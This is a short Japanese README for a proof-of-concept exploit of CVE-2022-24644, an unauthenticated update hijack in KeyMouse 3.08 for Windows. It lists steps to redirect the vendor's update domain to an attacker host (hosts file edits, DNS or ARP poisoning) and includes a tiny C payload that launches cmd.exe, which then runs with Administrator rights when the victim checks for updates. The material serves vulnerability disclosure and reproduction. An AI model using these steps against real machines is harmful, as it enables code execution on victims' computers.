CVE-2022-24644

ZZ Inc. KeyMouse 3.08 (Windows) 未認証更新リモートコード実行の脆弱性

使用方法: python3 cve-2022-24644_poc.py

詳細は gerr.re のレポートを参照してください。

再現手順

1. KeyMouse Windows 3.08 をインストールします。
2. www.keymouse.com を攻撃者のIPアドレスに偽装します。
   • 概念実証では、ターゲット上の c:\windows\system32\drivers\etc\hosts を編集するのが最も簡単です。
     • 攻撃者は例えば以下のものを使用できます：
       • 設定不良のルーター/スイッチ/DNS
       • DNSキャッシュポイズニング
       • ARPキャッシュポイズニング
3. 攻撃者側で proof.c をコンパイルします（例：i686-w64-mingw32-gcc proof.c -o proof.exe）。

#include <windows.h>
int main(int argc, char const *argv[]){	
	WinExec("cmd.exe",1);
	return TRUE;
}

4. 攻撃者側で概念実証スクリプトを実行します。
5. ターゲット上でKeyMouseを起動し、アップデートをトリガーします：
   • アプリケーションメニュー： Help -> Check For Updates
   • タスクバー： タスクバーアイコンを右クリック -> Check Updates（またはInstall Updates）
6. アップデートを続行します。

その結果、proof.exe が高整合性のAdministratorユーザーコンテキストで実行されます。